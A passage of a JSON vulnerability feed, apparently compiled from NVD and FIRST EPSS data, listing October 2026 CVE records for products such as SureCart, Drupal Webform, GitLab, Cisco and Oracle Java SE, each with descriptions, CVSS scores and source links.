2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112327&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112327, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112241","cveId":"CVE-2026-112241","aliases":[],"kind":"vulnerability","title":"Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.","summary":"Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.","detail":"Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:14.157Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112241","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0046,"percentile":0.39559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112241&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112241","type":"primary","publishedAt":"2026-10-22T09:17:14.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112241&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112241, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114220","cveId":"CVE-2026-114220","aliases":[],"kind":"vulnerability","title":"NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability.","summary":"NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability. Unauthenticated network-adjacent attackers can perform a man-in-the-middle attack by failing to validate the server certificate and the hostname, thereby intercepting or modifying communications between the application and the server.","detail":"NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability. Unauthenticated network-adjacent attackers can perform a man-in-the-middle attack by failing to validate the server certificate and the hostname, thereby intercepting or modifying communications between the application and the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T05:16:50.020Z","updatedAt":"2026-10-22T19:17:37.153Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114220","asOf":"2026-10-22T19:17:37.153Z"},"epss":{"probability":0.00192,"percentile":0.08788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114220","type":"primary","publishedAt":"2026-10-22T05:16:50.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114219","cveId":"CVE-2026-114219","aliases":[],"kind":"vulnerability","title":"NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability.","summary":"NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the hard-coded cryptographic key and decrypt login request contents, thereby obtaining users' plaintext account credentials and device information.","detail":"NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the hard-coded cryptographic key and decrypt login request contents, thereby obtaining users' plaintext account credentials and device information.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T05:16:49.170Z","updatedAt":"2026-10-22T19:17:37.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114219","asOf":"2026-10-22T19:17:37.027Z"},"epss":{"probability":0.0034,"percentile":0.27221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114219","type":"primary","publishedAt":"2026-10-22T05:16:49.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96355","cveId":"CVE-2026-96355","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection.","summary":"Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.","detail":"Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:17:05.433Z","updatedAt":"2026-10-23T04:18:23.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Drupal"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96355","asOf":"2026-10-23T04:18:23.770Z"},"epss":{"probability":0.00421,"percentile":0.36129,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96355","type":"primary","publishedAt":"2026-10-22T02:17:05.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96355, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114661","cveId":"CVE-2026-114661","aliases":[],"kind":"vulnerability","title":"OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels...","summary":"OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels without an administrative role. Attackers can send POST or DELETE requests to the gateway tunnel endpoint to open persistent bidirectional TCP circuits into an edge gateway's network or tear down operator tunnels.","detail":"OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels without an administrative role. Attackers can send POST or DELETE requests to the gateway tunnel endpoint to open persistent bidirectional TCP circuits into an edge gateway's network or tear down operator tunnels.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:58.250Z","updatedAt":"2026-10-22T02:16:58.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114661","asOf":"2026-10-22T02:16:58.387Z"},"epss":{"probability":0.00239,"percentile":0.14837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114661","type":"primary","publishedAt":"2026-10-22T02:16:58.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114575","cveId":"CVE-2026-114575","aliases":[],"kind":"vulnerability","title":"A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so.","summary":"A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so. Executing a manipulation of the argument FileMd5 can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.","detail":"A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so. Executing a manipulation of the argument FileMd5 can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T01:16:58.533Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114575","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0221,"percentile":0.82472,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114575&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114575","type":"primary","publishedAt":"2026-10-22T01:16:58.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114575&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114575, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110264","cveId":"CVE-2026-110264","aliases":[],"kind":"vulnerability","title":"An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4...","summary":"An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.","detail":"An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T01:16:57.603Z","updatedAt":"2026-10-22T23:18:22.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110264","asOf":"2026-10-22T23:18:22.670Z"},"epss":{"probability":0.01001,"percentile":0.62588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110264&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110264","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110264","type":"primary","publishedAt":"2026-10-22T01:16:57.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110264&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110264, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76531","cveId":"CVE-2026-76531","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76531 are related to files or directories accessible to external parties and are grouped under the Common Weakness Enumeration (CWE) CWE-552.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76531 are related to files or directories accessible to external parties and are grouped under the Common Weakness Enumeration (CWE) CWE-552.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:30.117Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76531","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00407,"percentile":0.3474,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76531&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76531","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76531","type":"primary","publishedAt":"2026-10-21T23:17:30.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76531&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76531, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76302","cveId":"CVE-2026-76302","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76302 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76302 are related to improper neutralization and are grouped under the Common Weakness Enumeration (CWE) CWE-707.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:28.273Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76302","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.004,"percentile":0.33933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76302","type":"primary","publishedAt":"2026-10-21T23:17:28.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76299","cveId":"CVE-2026-76299","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review.","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76299 are related to improper access control and are grouped under the Common Weakness Enumeration (CWE) CWE-284.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76299 are related to improper access control and are grouped under the Common Weakness Enumeration (CWE) CWE-284.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:27.940Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76299","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00329,"percentile":0.25802,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76299","type":"primary","publishedAt":"2026-10-21T23:17:27.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91403","cveId":"CVE-2026-91403","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).","summary":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1; Oracle GraalVM for JDK: 17.0.21 and  21.0.13; Oracle GraalVM Enterprise Edition: 21.3.20. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of 